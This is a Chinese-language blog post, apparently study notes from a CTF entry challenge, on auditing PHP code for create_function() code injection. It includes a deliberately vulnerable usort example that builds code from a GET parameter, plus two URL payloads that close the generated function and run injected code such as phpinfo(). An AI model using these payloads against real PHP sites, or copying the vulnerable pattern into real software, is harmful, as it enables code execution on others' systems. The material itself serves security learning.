[代码审计]PHP代码审计之create_function()函数(从xm入队考核题目中学习)

前言:引用了各路大佬参考资料,整合成自己能够看懂并接受的笔记,欢迎指正

学习一点小知识:
// 这是 PHP 单行注释
/*这是 PHP 多行注释*/
/*直接注释掉后面所有代码`

文章目录

  • create_function()简介
  • 基本使用
    • 代码片段
    • 运行截图
    • 分析
  • 代码注入案例
    • 案例一
    • 案例二
  • 参考资料--欢迎考证

create_function()简介

适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:

create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

基本使用

代码片段


$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

运行截图

[代码审计]PHP代码审计之create_function()函数(从xm入队考核题目中学习)_第1张图片

分析

create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。

create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

等价于:


function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

代码注入案例

案例一


error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload构造:
http://localhost/test1.php?sort_by=%27%22]);}echo 1;/*

[代码审计]PHP代码审计之create_function()函数(从xm入队考核题目中学习)_第2张图片

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

案例二

来自xmctf
[代码审计]PHP代码审计之create_function()函数(从xm入队考核题目中学习)_第3张图片
payload:payload:act=%5ccreate_function&arg=){}phpinfo();/*

参考资料–欢迎考证

https://www.cnblogs.com/zzjdbk/p/12980483.html 博客园大佬的总结基本上搬过来了很多
https://www.cnblogs.com/ZHH-BA/p/12468480.html create_function注入

你可能感兴趣的:(安全学习,#,CTF记录,#,PHP代码审计)